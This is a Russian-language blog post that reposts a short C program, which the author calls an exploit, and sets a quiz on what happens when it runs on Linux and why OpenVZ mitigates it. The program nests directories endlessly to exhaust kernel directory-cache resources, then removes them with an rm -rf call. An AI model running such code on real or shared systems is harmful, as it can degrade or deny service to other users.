Update: сей пост был как-то неправильно опубликован и посему не попал, похоже, во френдленты. Посему выкладываю его вновь.
Судя по всему, читателям моей уютненькой жежешечки понравился эксплойт из предыдущего сообщения. Поэтому я решил
- Привести его текст полностью.
- Устроить что-то вроде викторины.
Собственно, вот текст программы:
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define DIRNAME "dcache-test-dir"
int main(void) {
int i = 0;
char dir[1024];
getcwd(dir, sizeof(dir));
while (1) {
if (mkdir(DIRNAME, S_IRWXU) < 0) {
perror("Can't mkdir");
break;
}
if (chdir(DIRNAME) < 0) {
perror("Can't chdir");
break;
}
i++;
}
printf("Created/entered into %d directories!\n", i);
/* Cleanup */
chdir(dir);
system("rm -rf " DIRNAME);
return 1;
}
Вопросы будут такие:
- Что и почему произойдёт в Линукс-системе, где такое запустят?
- Почему OpenVZ от этого помогает?
Комменты скринятся. Сам отвечу в понедельник после обеда.